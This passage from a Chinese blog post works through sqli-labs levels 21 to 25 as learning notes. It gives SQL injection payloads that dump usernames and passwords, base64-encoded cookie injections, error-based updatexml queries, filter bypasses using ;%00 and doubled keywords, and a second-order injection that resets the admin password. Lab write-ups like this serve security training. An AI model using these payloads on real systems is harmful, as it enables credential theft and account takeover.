<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">MScpIHVuaW9uIHNlbGVjdCAxLHN1YnN0cigoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSlmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J3VzZXJzJyksNDAsMzApLHZlcnNpb24oKSAj</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/aa27d0/less21-8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1555" height="792"
/>
</p>
<p>敏感字段：username、password</p>
<p>爆数据</p>
<p><code>1') union select 1,(select group_concat(username)from security.users),(select group_concat(password)from security.users) #</code></p>
<p>base64加密：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">MScpIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKWZyb20gc2VjdXJpdHkudXNlcnMpLChzZWxlY3QgZ3JvdXBfY29uY2F0KHBhc3N3b3JkKWZyb20gc2VjdXJpdHkudXNlcnMpICM</span><span class="o">=</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/aa27d0/less21-9.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1552" height="792"
/>
</p>
<p>完事，这次挺完整的，下次想深入了解一下前两步admin要改成1，union select为啥能测回显的原理</p>
<h2 id="less-22">less-22<a class="anchor" href="#less-22">#</a></h2>
<p>就是结合了一下，测试一番后发现要双引号，正常语句不管用，但是语法错误有报错，所以就是构造双引号闭合的报错注入语句再base64加密，放到Cookie里就行</p>
<p><code>admin&quot; and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1) #</code></p>
<p>base64加密：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKWZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSksMHg3ZSksMSkgIw</span><span class="o">==</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/aa27d0/less22-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1561" height="766"
/>
</p>
<p>其他类推</p>
<h2 id="less-23">less-23<a class="anchor" href="#less-23">#</a></h2>
<p>在第一题基础上过滤了&ndash;+、#这种注释符号</p>
<p>使用<code>;%00</code>、<code>and语句</code>、<code>or语句</code>闭合都可以</p>
<p>来个<code>;%00</code>绕过爆表</p>
<p><code>?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() ;%00</code></p>
<p><img
  src="/aa27d0/less23-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1919" height="823"
/>
</p>
<p>or语句闭合报错注入爆表</p>
<p><code>?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1) or '1'='1</code></p>
<p><img
  src="/aa27d0/less23-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1919" height="831"
/>
</p>
<p>其他类推即可</p>
<h2 id="less-24">less-24<a class="anchor" href="#less-24">#</a></h2>
<p>先解释一下二次注入原理，通常的注入语句在注入时会被过滤，但是保存数据库时可能保留注入语句。其中最为经典的就是修改他人密码，如你不知道admin的密码，就创建一个admin&rsquo;#账号，登录admin’#后修改密码，在修改密码时的后台语句会被#注释，这样就可以修改admin密码。</p>
<p>使用admin ,123456登录，失败<img
  src="/aa27d0/less24-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1036" height="486"
/>
</p>
<p>新建用户admin&rsquo;#,密码随便，登录admin&rsquo;#<img
  src="/aa27d0/less24-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1463" height="739"
/>
</p>
<p>在这个页面更新密码，admin&rsquo;#，123456,123456，然后登录admin，使用密码123456<img
  src="/aa27d0/less24-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1313" height="717"
/>
</p>
<p>登陆成功，二次注入成功。解释一下重置密码的部分。</p>
<p>后台语句：<code>UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'</code></p>
<p>注入语句：<code>UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'</code></p>
<p>执行语句：<code>UPDATE users SET PASSWORD='123456' where username='admin'</code></p>
<p>这就是二次注入的主要原理，过滤了敏感字符，但它仍然把原语句存储在数据库中</p>
<h2 id="less-25">less-25<a class="anchor" href="#less-25">#</a></h2>
<p>过滤了or和and，我们先简单测试一波</p>
<p>猜解字段</p>
<p><img
  src="/aa27d0/less25-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1476" height="443"
/>
</p>
<p>看到被过滤了，这里可以双写绕过以及||代替。这里使用双写绕过<img
  src="/aa27d0/less25-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1424" height="605"
/>
</p>
<p>字段数为3，测试回显<img
  src="/aa27d0/less25-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1343" height="720"
/>
</p>
<p>其他就常规了，这里直接给最后一步</p>
<p>payload:<code>?id=0' union select 1,2,group_concat(concat_ws('-',username,passwoorrd)) from security.users --+</code></p>
<p><img
  src="/aa27d0/less25-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1867" height="485"
/>
</p>
<p>肝！</p>
]]></content:encoded><category>SQL注入</category></item></channel></rss>